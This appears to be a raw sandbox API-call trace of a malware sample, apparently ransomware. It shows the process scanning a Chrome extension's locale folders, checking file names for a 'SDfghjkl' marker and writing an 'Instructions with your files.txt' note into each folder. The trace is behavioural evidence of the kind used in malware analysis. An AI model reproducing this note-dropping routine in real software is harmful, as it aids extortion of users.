[0130.006] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8286d760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0130.006] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk") returned 145
[0130.006] GetProcessHeap () returned 0x810000
[0130.006] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.006] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*") returned 147
[0130.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8286d760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.007] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\.") returned 147
[0130.007] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8286d760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.007] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\..") returned 148
[0130.007] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8286d760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.007] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 159
[0130.007] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.007] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8286d760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.007] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\Instructions with your files.txt") returned 178
[0130.007] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.007] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.008] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.008] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.008] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.008] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.009] CloseHandle (hObject=0x134) returned 1
[0130.009] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.009] GetProcessHeap () returned 0x810000
[0130.009] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.009] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82874c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0130.009] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi") returned 145
[0130.009] GetProcessHeap () returned 0x810000
[0130.009] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.009] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*") returned 147
[0130.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82874c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.010] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\.") returned 147
[0130.010] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82874c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.010] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\..") returned 148
[0130.010] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82874c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.010] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 159
[0130.010] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.010] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82874c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.010] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\Instructions with your files.txt") returned 178
[0130.010] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.010] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.011] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.011] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.011] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.012] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.012] CloseHandle (hObject=0x134) returned 1
[0130.012] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.012] GetProcessHeap () returned 0x810000
[0130.012] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.012] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8287e8d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
[0130.012] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN") returned 148
[0130.012] GetProcessHeap () returned 0x810000
[0130.012] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.012] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*") returned 150
[0130.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8287e8d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.012] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\.") returned 150
[0130.012] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8287e8d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.012] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\..") returned 151
[0130.012] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8287e8d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.012] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 162
[0130.012] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.012] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8287e8d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.013] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\Instructions with your files.txt") returned 181
[0130.013] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.013] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.014] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.014] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.014] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.014] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.014] CloseHandle (hObject=0x134) returned 1
[0130.014] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.014] GetProcessHeap () returned 0x810000
[0130.014] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.014] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82885e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0130.014] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW") returned 148
[0130.015] GetProcessHeap () returned 0x810000
[0130.015] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.015] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*") returned 150
[0130.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82885e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.015] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\.") returned 150
[0130.015] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82885e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.015] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\..") returned 151
[0130.016] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82885e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.016] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 162
[0130.016] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
